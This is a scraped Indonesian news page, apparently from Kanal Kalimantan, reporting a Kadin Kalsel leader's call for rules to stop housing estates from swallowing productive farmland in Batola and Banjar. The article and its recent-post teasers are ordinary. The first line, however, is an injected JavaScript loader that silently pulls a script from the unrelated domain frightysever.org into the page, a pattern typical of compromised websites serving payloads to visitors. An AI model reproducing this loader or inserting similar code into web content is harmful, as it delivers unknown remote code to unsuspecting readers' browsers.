(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Kalsel Perlu Regulasi Pembangunan Perumahan di Lahan Pertanian


BANJARMASIN, Ketua Kamar Dagang dan Industri Indonesia (Kadin) Kalsel Ir Edy Suryadi mengingatkan pemerintah daerah untuk bisa fokus mendorong berjayanya sektor pertanian di Kalsel.

Salah satu caranya adalah dengan membuat regulasi khusus agar bisnis perumahan yang berkembang sekarang tidak serta merta menggerus lahan pertanian yang produktif di Banua.

“Saat ini saya lihat banyak sekali lahan pertanian di Kalsel yang beralih fungsi menjadi kawasan perumahan, khususnya di daerah Kabupaten Batola dan Kabupaten Banjar. Hal ini disebabkan karena tidak adanya regulasi yang khusus mengaturnya,” tegasnya, Senin (3/9).

Padahal dulunya, Provinsi Kalsel di era zaman Soeharto adalah salah satu daerah yang menyumbang produksi padi terbesar di Indonesia. Namun karena lahan pertaniannya terus digerus oleh kawasan perumahan, menjadikan produksi padi terus mengalami penurunan tiap tahunnya.

“Karena itulah saya ingatkan sekali lagi agar Pemda bisa membuat regulasi khusus yang mengatur agar di lahan pertanian produktif tidak boleh ada berdiri kawasan perumahan. Atau usul saya bisa juga dibuat aturan jika membangun kawasan pertanian, pengembang harus menggantinya dengan lahan pertanian di tempat lain,” tambahnya.

Dirinya sendiri sebenarnya tidak antipati terhadap berkembangnya bisnis perumahan di Kalsel. Bahkan sangat mendukung,karena selain bisa menjadi solusi pemenuhan kebutuhan rumah bagi masyarakat, juga bisa mendorong bergeliatnya bisnis kontruksi di sektor perumahan.

“Namun jika berkembangnya bisnis perumahan menggerus sektor pertanian tentunya saya tidak setuju. Karena di masa depan jika serius untuk digarap, sektor pertanian punya potensi untuk menjadi salah satu penopang ekonomi Kalsel,” tegasnya.

Sebelumnya, Ketua Dewan Pimpinan Daerah Real Estate Indonesia (DPD REI) Kalsel Royzani Syahriel mengakui, kini bisnis perumahan di Banua sudah berkembang tidak hanya di Kota Banjarmasin dan Banjarbaru saja, namun hingga ke daerah tetangga, yakni Kabupaten Banjar dan Kabupaten Batola.

Terbatasnya lahan dan mahalnya harga tanah di Kota Banjarbaru dan Kota Banjarmasin sekarang, menjadikan banyak pengembang perumahan kini banyak membangun perumahannya di daerah Kabupaten Banjar dan Kabupaten Batola.

“Utamanya untuk tipe rumah bersubsidi banyak sekali dibangun di Kabupaten Batola dan Kabupaten Banjar. Hal ini karena harga tanah disana masih cukup terjangkau dan letaknya tidak jauh dari Kota Banjarmasin dan Kota Banjarbaru,” pungkasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

22 menit ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

14 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

14 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

20 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

This website uses cookies.